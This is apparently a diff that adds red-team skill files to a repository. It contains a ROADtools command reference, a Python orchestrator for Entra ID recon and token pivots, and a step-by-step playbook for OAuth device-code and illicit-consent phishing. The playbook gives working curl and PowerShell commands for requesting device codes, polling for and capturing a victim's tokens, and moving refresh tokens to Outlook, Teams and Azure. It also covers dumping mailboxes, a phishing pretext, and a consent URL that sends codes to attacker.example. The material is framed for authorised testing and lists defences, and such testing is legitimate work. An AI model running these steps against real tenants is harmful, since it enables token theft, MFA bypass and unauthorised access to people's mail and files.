|---------|---------|-----------|
| `roadtx gettokens` | Acquire tokens (ROPC / refresh) | `-u`, `-p`, `-c` client, `-r` resource, `-s` scope, `--refresh-token`, `--cae`, `--tokens-stdout` |
| `roadtx interactiveauth` | Interactive (browser) auth | `-u`, `-p`, `-c`, `-r`, `-ru` redirect-url |
| `roadtx codeauth` | Exchange auth code for tokens | — |
| `roadtx refreshtokento` | Convert stored RT to another resource | `-r`, `-s`, `-c` |
| `roadtx appauth` | App (client-credential) auth | `-c`, `-p` secret, `-t` tenant, `-r`, `-s`, `--cert-pem`, `--key-pem`, `--cert-pfx`, `--pfx-pass` |
| `roadtx federatedappauth` | Federated app auth (workload identity) | `-c`, `--cert-pem`, `--key-pem`, `--subject`, `-t`, `--issuer`, `-s`, `--kid` |
### Device + PRT
| Command | Purpose | Key flags |
|---------|---------|-----------|
| `roadtx device` | Register/delete a device | `-n` name, `-a` action, `-c` cert, `-k` key |
| `roadtx hybriddevice` | Register hybrid-joined device | — |
| `roadtx prt` | Request/renew a PRT | `-u`, `-p`, `--key-pem`, `--cert-pem`, `-a` action, `-r` refresh-token |
| `roadtx prtauth` | Auth a client using a PRT | `-c`, `-r`, `-f` prt-file, `--prt`, `--prt-sessionkey`, `--tokens-stdout` |
| `roadtx browserprtauth` | Browser auth using PRT | `-url`, `-c`, `-r`, `-f` |
| `roadtx browserprtinject` | Inject PRT compliance claims | `-u`, `-r`, `-c` |
| `roadtx prtenrich` | Add MFA claim to PRT | `-u` |
| `roadtx prtcookie` | Mint browser cookie from PRT | — |
### Utility
| Command | Purpose | Key flags |
|---------|---------|-----------|
| `roadtx describe` | Decode token claims | `-t` token (or stdin) |
| `roadtx decrypt` | Decrypt JWE tokens | — |
| `roadtx getscope` | Find clients holding a scope | `-s`, `--foci` |
| `roadtx getotp` | Generate TOTP from a seed | `<seed>` |
| `roadtx listaliases` | List client/resource aliases | — |
| `roadtx keepassauth` | Selenium auth from KeePass | `-c`, `-u`, `-kp`, `-kpp`, `-url`, `--keep-open` |
| `roadtx sharepointlogin` | Authenticate to SharePoint/OneDrive | `<token>`, `--host` |
### Common client (`-c`) and resource (`-r`) aliases
Clients: `azcli`, `msteams`, `msgraph` (as client where applicable), `office`, `broker`.
Resources: `msgraph`, `azrm`, `aadgraph`, `devicereg`. Use `roadtx listaliases` for the full list.
@@ -0,0 +1,25 @@
# Standards and Framework Mapping
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| ID.AM-03 | Representations of the organization's authorized network communication and internal/external network data flows are maintained | ROADrecon enumeration produces the directory/identity asset inventory that defenders must maintain and that attackers exploit; the engagement validates visibility of this asset surface. |
## MITRE ATT&CK (Enterprise)
| ID | Name | Rationale |
|----|------|-----------|
| T1087.004 | Account Discovery: Cloud Account | ROADrecon enumerates Entra ID user/account objects. |
| T1069.003 | Permission Groups Discovery: Cloud Groups | ROADrecon enumerates Entra groups and directory roles. |
| T1538 | Cloud Service Dashboard | GUI exploration of tenant configuration and policies. |
| T1550.001 | Use Alternate Authentication Material: Application Access Token | roadtx refresh-token exchange across resources (FOCI). |
| T1528 | Steal Application Access Token | roadtx token/PRT acquisition. |
## Reference standards
| Standard | Relevance |
|----------|-----------|
| Microsoft identity platform (OAuth 2.0 / OIDC) | Defines the auth-code, ROPC, device-code, and refresh-token flows roadtx exercises. |
| FOCI (Family of Client IDs) | Microsoft first-party client family enabling cross-client refresh-token redemption. |
| Primary Refresh Token (PRT) | Device-bound SSO artifact abused via roadtx prt/prtauth. |
@@ -0,0 +1,144 @@
#!/usr/bin/env python3
"""ROADtools engagement orchestrator.
Authorized Entra ID assessment helper. Wraps the real roadrecon/roadtx binaries
to run an authenticated recon pass and a token-exchange pivot, then parses token
claims. Requires `roadrecon` and `roadtx` on PATH (pip install roadrecon roadtx).
Examples
--------
python agent.py recon --device-code --gather --bloodhound
python agent.py recon -u user@tenant.com -p 'Pass!' --gather
python agent.py tokens -u user@tenant.com -p 'Pass!' -c azcli -r msgraph
python agent.py pivot -r azrm # exchange stored RT to ARM
python agent.py describe # decode .roadtools_auth token
"""
import argparse
import json
import shutil
import subprocess
import sys
def require(binary):
if shutil.which(binary) is None:
sys.exit(f"[!] '{binary}' not found on PATH. Install with: pip install {binary}")
def run(cmd):
print("[>] " + " ".join(cmd), file=sys.stderr)
try:
proc = subprocess.run(cmd, capture_output=True, text=True)
except FileNotFoundError as exc:
sys.exit(f"[!] failed to execute {cmd[0]}: {exc}")
if proc.stdout:
print(proc.stdout)
if proc.returncode != 0:
print(proc.stderr, file=sys.stderr)
print(f"[!] {cmd[0]} exited {proc.returncode}", file=sys.stderr)
return proc.returncode, proc.stdout
def auth_args(args):
if args.device_code:
return ["--device-code"]
if args.access_token:
return ["--access-token", args.access_token]
if args.refresh_token:
return ["--refresh-token", args.refresh_token]
if args.user and args.password:
return ["-u", args.user, "-p", args.password]
sys.exit("[!] provide an auth method: --device-code | --access-token | --refresh-token | -u/-p")
def cmd_recon(args):
require("roadrecon")
rc, _ = run(["roadrecon", "auth"] + auth_args(args))
if rc != 0:
sys.exit("[!] authentication failed")
if args.gather:
gather = ["roadrecon", "gather"]
if args.mfa:
gather.append("--mfa")
run(gather)
if args.bloodhound:
run(["roadrecon", "plugin", "bloodhound"])
if args.policies:
run(["roadrecon", "plugin", "policies"])
print("[+] recon complete. Run 'roadrecon gui' to explore roadrecon.db", file=sys.stderr)
def cmd_tokens(args):
require("roadtx")
cmd = ["roadtx", "gettokens"]
if args.refresh_token:
cmd += ["--refresh-token", args.refresh_token]
elif args.user and args.password:
cmd += ["-u", args.user, "-p", args.password]
else:
sys.exit("[!] provide -u/-p or --refresh-token")
if args.client:
cmd += ["-c", args.client]
if args.resource:
cmd += ["-r", args.resource]
run(cmd)
def cmd_pivot(args):
require("roadtx")
cmd = ["roadtx", "refreshtokento", "-r", args.resource]
if args.client:
cmd += ["-c", args.client]
run(cmd)
def cmd_describe(args):
require("roadtx")
if args.token:
run(["roadtx", "describe", "-t", args.token])
else:
# roadtx describe reads .roadtools_auth from stdin
try:
with open(".roadtools_auth", "r", encoding="utf-8") as fh:
data = fh.read()
except FileNotFoundError:
sys.exit("[!] .roadtools_auth not found; authenticate first or pass --token")
proc = subprocess.run(["roadtx", "describe"], input=data, text=True,
capture_output=True)
print(proc.stdout or proc.stderr)
def main():
p = argparse.ArgumentParser(description="ROADtools engagement orchestrator (authorized use only)")
sub = p.add_subparsers(dest="cmd", required=True)
def add_auth(sp):
sp.add_argument("-u", "--user"); sp.add_argument("-p", "--password")
sp.add_argument("--device-code", action="store_true")
sp.add_argument("--access-token"); sp.add_argument("--refresh-token")
sr = sub.add_parser("recon"); add_auth(sr)
sr.add_argument("--gather", action="store_true")
sr.add_argument("--mfa", action="store_true")
sr.add_argument("--bloodhound", action="store_true")
sr.add_argument("--policies", action="store_true")
st = sub.add_parser("tokens")
st.add_argument("-u", "--user"); st.add_argument("-p", "--password")
st.add_argument("--refresh-token")
st.add_argument("-c", "--client", default="azcli")
st.add_argument("-r", "--resource", default="msgraph")
sp_ = sub.add_parser("pivot")
sp_.add_argument("-r", "--resource", required=True)
sp_.add_argument("-c", "--client")
sd = sub.add_parser("describe"); sd.add_argument("--token")
args = p.parse_args()
{"recon": cmd_recon, "tokens": cmd_tokens,
"pivot": cmd_pivot, "describe": cmd_describe}[args.cmd](args)
if __name__ == "__main__":
main()
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,241 @@
---
name: attacking-oauth-with-device-code-phishing
description: Run OAuth 2.0 device-code and illicit-consent phishing against Microsoft Entra ID to steal access and refresh tokens, bypass MFA, and pivot across Microsoft 365 services.
domain: cybersecurity
subdomain: identity-access-management
tags:
- device-code-phishing
- oauth
- entra-id
- token-theft
- mfa-bypass
- illicit-consent
- tokentactics
- red-team
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.AA-03
mitre_attack:
- T1528
---
# Attacking OAuth with Device-Code Phishing
> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Device-code and consent-grant phishing manipulate real users into authorizing attacker-controlled access to corporate identities. Execute only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws worldwide.
## Overview
The OAuth 2.0 Device Authorization Grant (RFC 8628) was designed for input-constrained devices (smart TVs, CLI tools) that cannot easily present a browser-based login. A device requests a short `user_code` and a `device_code`, displays the `user_code` and a verification URL to the user, and polls the token endpoint while the user authenticates on a separate, fully-featured device. Attackers weaponize this flow: instead of a smart TV, the "device" is the attacker's machine. The attacker initiates the device-code request, then phishes a victim to visit the legitimate Microsoft verification page (`https://microsoft.com/devicelogin`) and enter the attacker-generated `user_code`. Because the victim authenticates on the genuine Microsoft login page — completing MFA — the resulting tokens are minted to the attacker's polling session. This bypasses MFA entirely: the second factor is satisfied by the victim, but the bearer tokens land with the attacker (mapped to MITRE ATT&CK **T1528 Steal Application Access Token**).
Microsoft Threat Intelligence, Volexity, and Proofpoint documented sharp growth in device-code phishing through 2025, with Russia-aligned actors (tracked by Microsoft as Storm-2372) among the most prolific. Mandiant's M-Trends reporting similarly highlights OAuth token theft as a leading cloud initial-access vector. A closely related technique is the **illicit consent grant** ("OAuth phishing"): the attacker registers a multi-tenant app and tricks the victim into clicking an `/adminconsent` or user-consent URL, granting the malicious app delegated Microsoft Graph permissions (Mail.Read, Files.ReadWrite.All, offline_access) that persist independently of password resets. This skill covers both, plus token replay across Microsoft 365 services using TokenTactics and validation/access mapping with ROADtools.
The defining property red teams exploit: access tokens minted via the device-code flow are valid for roughly 6090 minutes, but the accompanying refresh token (with `offline_access` scope) survives for up to 90 days and can be redeemed for fresh tokens against any first-party resource the client is allowed to request — Outlook, SharePoint, Teams, Azure Resource Manager — enabling durable, MFA-surviving access.
## When to Use
- During an authorized red-team or assumed-breach engagement targeting Microsoft 365 / Entra ID where social-engineering is in scope
- When validating Conditional Access policies, MFA enforcement, and token-protection controls against real phishing techniques
- When testing whether an organization restricts the OAuth device-code flow or blocks unverified multi-tenant app consent
- When demonstrating MFA-bypass risk to justify phishing-resistant authentication (FIDO2) and token-binding controls
- When building detections (paired with the blue-team `hunting-saas-sso-token-abuse` skill) and you need realistic telemetry
## Prerequisites
- Written authorization / rules of engagement explicitly permitting phishing and token theft against the target tenant
- A controlled pretext-delivery channel (sanctioned phishing infrastructure or an internal test mailbox)
- Linux or Windows attacker host with Python 3.8+ and PowerShell 7+
- TokenTactics (PowerShell) and ROADtools (Python) installed:
```bash
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security
pip install roadtools roadtools_auth
# roadtx (ROADtools Token eXchange) ships in roadtools_auth
roadtx --help
# TokenTactics v2 (rvrsh3ll)
git clone https://github.com/rvrsh3ll/TokenTactics.git
pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1"
```
- Familiarity with OAuth 2.0 grant types, JWT structure, and Microsoft Graph scopes
## Objectives
- Initiate an OAuth device-code request against Entra ID using a first-party client ID
- Deliver a credible pretext that drives the victim to the genuine Microsoft device-login page
- Poll the token endpoint and capture the victim's access and refresh tokens
- Refresh tokens across Microsoft 365 resources (Graph, Outlook, Azure management) to expand access
- Execute the illicit-consent variant by registering and phishing consent for a malicious multi-tenant app
- Enumerate accessible resources and data with ROADtools to demonstrate impact
- Document MFA bypass and produce remediation recommendations
## MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|----|-----------|---------------------------|
| T1528 | Steal Application Access Token | Phishing the device-code flow / consent grant yields attacker-controlled OAuth access and refresh tokens that are reused to access cloud services without re-authenticating |
Related techniques frequently chained: **T1566** Phishing (delivery), **T1550.001** Application Access Token (replaying stolen tokens), **T1098.003** Account Manipulation: Additional Cloud Roles (consent grant persistence).
## Workflow
### Phase 1: Initiate the Device-Code Request
The attacker requests a device code from Entra ID, choosing a first-party client that the victim implicitly trusts. The Microsoft Office client ID `d3590ed6-52b3-4102-aeff-aad2292ab01c` is commonly used because it is pre-authorized for broad first-party resources.
1. Request a device code directly via the token endpoint:
```bash
# client_id = Microsoft Office; scope requests offline_access for a long-lived refresh token
curl -s -X POST \
'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
-d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json
```
2. The JSON response contains the fields you weaponize:
```json
{
"user_code": "B7HVQXKZ2",
"device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5,
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7HVQXKZ2 to authenticate."
}
```
3. Note the 15-minute (`expires_in: 900`) validity window — the pretext must drive the victim to authenticate quickly.
Equivalent using TokenTactics (handles polling automatically):
```powershell
Import-Module ./TokenTactics/TokenTactics.psd1
# Generates a device code and begins polling; prints the user_code to phish
Get-AzureToken -Client MSGraph
```
### Phase 2: Deliver the Pretext
The phishing message must NOT contain a credential-harvesting link — the victim authenticates on the real Microsoft page, which is what defeats user suspicion and MFA.
1. Craft a pretext that references the genuine `https://microsoft.com/devicelogin` URL and the `user_code` (e.g., "IT is enrolling your account in the new Teams Rooms device; open microsoft.com/devicelogin and enter code B7HVQXKZ2 within 15 minutes").
2. Send through sanctioned phishing infrastructure. Hyperlinked codes/URLs frequently land in spam, so present the URL and code as plain text.
3. Time delivery to the start of a polling cycle so the code is fresh.
### Phase 3: Poll and Capture Tokens
While the victim authenticates and approves, poll the token endpoint with the `device_code` until tokens are issued.
1. Poll at the server-specified `interval` (5 seconds); `authorization_pending` is expected until the victim completes sign-in:
```bash
DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])")
while true; do
RESP=$(curl -s -X POST \
'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \
-d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \
-d "device_code=${DEVICE_CODE}")
echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; }
echo "$RESP" | grep -q authorization_pending || echo "$RESP"
sleep 5
done
```
2. On success the response yields `access_token`, `refresh_token`, `id_token`, `expires_in`, and the granted `scope`.
3. Decode the access token to confirm the captured identity, audience, and scopes:
```bash
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
```
### Phase 4: Refresh Across Microsoft 365 Resources
The refresh token (with `offline_access`) can be redeemed for tokens scoped to other first-party resources, expanding access beyond the original scope.
1. Use TokenTactics refresh functions to pivot the refresh token to specific services:
```powershell
# $response holds the device-code result from Get-AzureToken
$rt = $response.refresh_token
Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # mailbox access
Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph
Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams
Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM
Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt
```
2. Equivalently with roadtx, redeem the refresh token for a new resource:
```bash
roadtx refreshtokento \
-r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
-c d3590ed6-52b3-4102-aeff-aad2292ab01c \
-s https://graph.microsoft.com/.default
```
3. Demonstrate mailbox access to prove impact (read-only, scoped to engagement rules):
```powershell
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
```
### Phase 5: Illicit Consent Grant Variant
Instead of device-code, register a malicious multi-tenant app and phish the victim to consent to delegated Graph permissions for durable, password-reset-surviving access.
1. Register a multi-tenant app in an attacker tenant requesting delegated scopes such as `Mail.Read`, `Files.ReadWrite.All`, `offline_access`.
2. Build a user-consent URL and phish it:
```text
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<ATTACKER_APP_ID>
&response_type=code
&redirect_uri=https://attacker.example/callback
&response_mode=query
&scope=offline_access%20Mail.Read%20Files.ReadWrite.All
&state=12345
```
3. When the victim consents, exchange the returned `code` for tokens:
```bash
curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \
-d 'client_id=<ATTACKER_APP_ID>' \
-d 'grant_type=authorization_code' \
-d 'code=<AUTH_CODE>' \
-d 'redirect_uri=https://attacker.example/callback' \
-d 'client_secret=<APP_SECRET>' \
-d 'scope=offline_access Mail.Read Files.ReadWrite.All'
```
4. The consented OAuth grant persists as a service-principal grant in the victim tenant until an admin revokes it (`Remove-MgServicePrincipalOauth2PermissionGrant`).
### Phase 6: Enumerate Impact with ROADtools
1. Authenticate roadrecon with the captured token / refresh token and dump the directory:
```bash
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \
-c d3590ed6-52b3-4102-aeff-aad2292ab01c
roadrecon gather
roadrecon gui # browse users, groups, app registrations, role assignments
```
2. Identify high-value access: role assignments, owned applications, accessible SharePoint sites, and additional consent grants.
3. Record exactly what data and roles the stolen tokens reached for the engagement report.
## Tools and Resources
| Tool | Purpose | Source |
|------|---------|--------|
| TokenTactics v2 | Generate device codes and refresh tokens across M365 services | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | Token exchange, directory enumeration, access mapping | https://github.com/dirkjanm/ROADtools |
| AADInternals | Entra ID attack/recon PowerShell toolkit | https://github.com/Gerenios/AADInternals |
| RFC 8628 | OAuth 2.0 Device Authorization Grant specification | https://datatracker.ietf.org/doc/html/rfc8628 |
| Microsoft / Storm-2372 advisory | Device-code phishing campaign analysis | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | OAuth token theft trend reporting | https://cloud.google.com/security/resources/m-trends |
## Defensive Recommendations
| Control | Effect |
|---------|--------|
| Conditional Access policy blocking the device-code flow (`authenticationFlows`) for users who do not need it | Removes the attack surface for most users |
| Phishing-resistant MFA (FIDO2 / passkeys) + token protection (token binding) | Bound tokens cannot be replayed off the victim device |
| Restrict user consent to verified publishers / require admin consent | Blocks illicit-consent grants |
| Sign-in frequency + shorter session lifetimes on untrusted networks | Limits refresh-token longevity |
| Monitor `AADNonInteractiveUserSignInLogs` for device-code grants and anomalous token use | Detection (see `hunting-saas-sso-token-abuse`) |
## Validation Criteria
- [ ] Device-code request returned a valid `user_code` and `device_code`
- [ ] Pretext delivered referencing the genuine Microsoft device-login page (no harvesting link)
- [ ] Token endpoint polled and `access_token` + `refresh_token` captured
- [ ] Access token decoded to confirm captured identity, audience, and scopes
- [ ] Refresh token successfully exchanged for at least one additional M365 resource
- [ ] MFA bypass demonstrated (victim completed MFA; attacker holds usable tokens)
- [ ] Illicit-consent variant tested or documented as out of scope
- [ ] Accessible resources enumerated with ROADtools and recorded
- [ ] Remediation recommendations (CA device-code block, FIDO2, consent restrictions) delivered
@@ -0,0 +1,55 @@
# API & Tool Reference — Device-Code / Consent Phishing
## Entra ID OAuth 2.0 endpoints
| Endpoint | Method | Purpose |
|----------|--------|---------|
| `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode` | POST | Request `user_code` + `device_code`. `tenant` = `organizations`, `common`, or a tenant ID. |
| `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token` | POST | Poll for tokens (`grant_type=urn:ietf:params:oauth:grant-type:device_code`) or redeem `authorization_code` / `refresh_token`. |
| `https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize` | GET | Consent / authorization-code request (illicit consent variant). |
| `https://microsoft.com/devicelogin` | GET | Genuine Microsoft page where the victim enters the `user_code`. |
### Device-code request parameters
| Parameter | Example | Notes |
|-----------|---------|-------|
| `client_id` | `d3590ed6-52b3-4102-aeff-aad2292ab01c` | Microsoft Office (first-party, broad pre-auth). |
| `scope` | `https://graph.microsoft.com/.default offline_access` | `offline_access` yields a long-lived refresh token. |
### Token-poll parameters
| Parameter | Value |
|-----------|-------|
| `grant_type` | `urn:ietf:params:oauth:grant-type:device_code` |
| `client_id` | same as request |
| `device_code` | from device-code response |
Poll responses: `authorization_pending`, `slow_down`, `expired_token`, `authorization_declined`, or success (`access_token`, `refresh_token`, `id_token`).
## Common first-party client IDs
| Client | Client ID |
|--------|-----------|
| Microsoft Office | `d3590ed6-52b3-4102-aeff-aad2292ab01c` |
| Microsoft Azure CLI | `04b07795-8ddb-461a-bbee-02f9e1bf7b46` |
| Microsoft Azure PowerShell | `1950a258-227b-4e31-a9cf-717495945fc2` |
| Microsoft Teams | `1fec8e78-bce4-4aaf-ab1b-5451cc387264` |
## TokenTactics (PowerShell) functions
| Function | Key parameters | Purpose |
|----------|---------------|---------|
| `Get-AzureToken` | `-Client` (MSGraph, DODMSGraph) | Generate device code, poll, return tokens. |
| `Invoke-RefreshToMSGraphToken` | `-domain -refreshToken [-ClientId]` | Refresh to Microsoft Graph. |
| `Invoke-RefreshToOutlookToken` | `-domain -refreshToken` | Refresh to Outlook/EXO. |
| `Invoke-RefreshToMSTeamsToken` | `-domain -refreshToken` | Refresh to Teams. |
| `Invoke-RefreshToAzureCoreManagementToken` | `-domain -refreshToken` | Refresh to Azure ARM. |
| `Invoke-RefreshToSubstrateToken` | `-domain -refreshToken` | Refresh to Substrate. |
| `Invoke-DumpOWAMailboxViaMSGraphApi` | `-AccessToken -mailFolder` | Read mailbox via Graph. |
| `Invoke-ParseJWTtoken` | `-Token` | Decode a JWT. |
## ROADtools
| Command | Purpose |
|---------|---------|
| `roadtx refreshtokento -r <rt> -c <client_id> -s <scope>` | Exchange refresh token for new resource. |
| `roadrecon auth --refresh-token <rt> -c <client_id>` | Authenticate roadrecon. |
| `roadrecon gather` | Dump directory to local DB. |
| `roadrecon gui` | Browse enumerated tenant data. |
Source: https://github.com/rvrsh3ll/TokenTactics , https://github.com/dirkjanm/ROADtools , RFC 8628.
@@ -0,0 +1,26 @@
# Standards Mapping
## MITRE ATT&CK
| ID | Name | Tactic | Rationale |
|----|------|--------|-----------|
| T1528 | Steal Application Access Token | Credential Access | Device-code and illicit-consent phishing cause Entra ID to mint OAuth access/refresh tokens to the attacker; the stolen bearer tokens are then reused to access cloud services without re-authenticating. |
### Related techniques chained in this workflow
| ID | Name | Rationale |
|----|------|-----------|
| T1566 | Phishing | Delivery vector for the device-code message or consent URL. |
| T1550.001 | Use Alternate Authentication Material: Application Access Token | Replaying the stolen OAuth tokens against M365 resources. |
| T1098.003 | Account Manipulation: Additional Cloud Roles | Illicit-consent grants persist as a service-principal OAuth grant surviving password resets. |
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| PR.AA-03 | Users, services, and hardware are authenticated | The attack defeats authentication assurance by abusing the OAuth device-code grant to bypass MFA; the control objective being tested is robust, phishing-resistant authentication. |
## References
- RFC 8628 — OAuth 2.0 Device Authorization Grant: https://datatracker.ietf.org/doc/html/rfc8628
- MITRE ATT&CK T1528: https://attack.mitre.org/techniques/T1528/
- NIST CSF 2.0: https://www.nist.gov/cyberframework
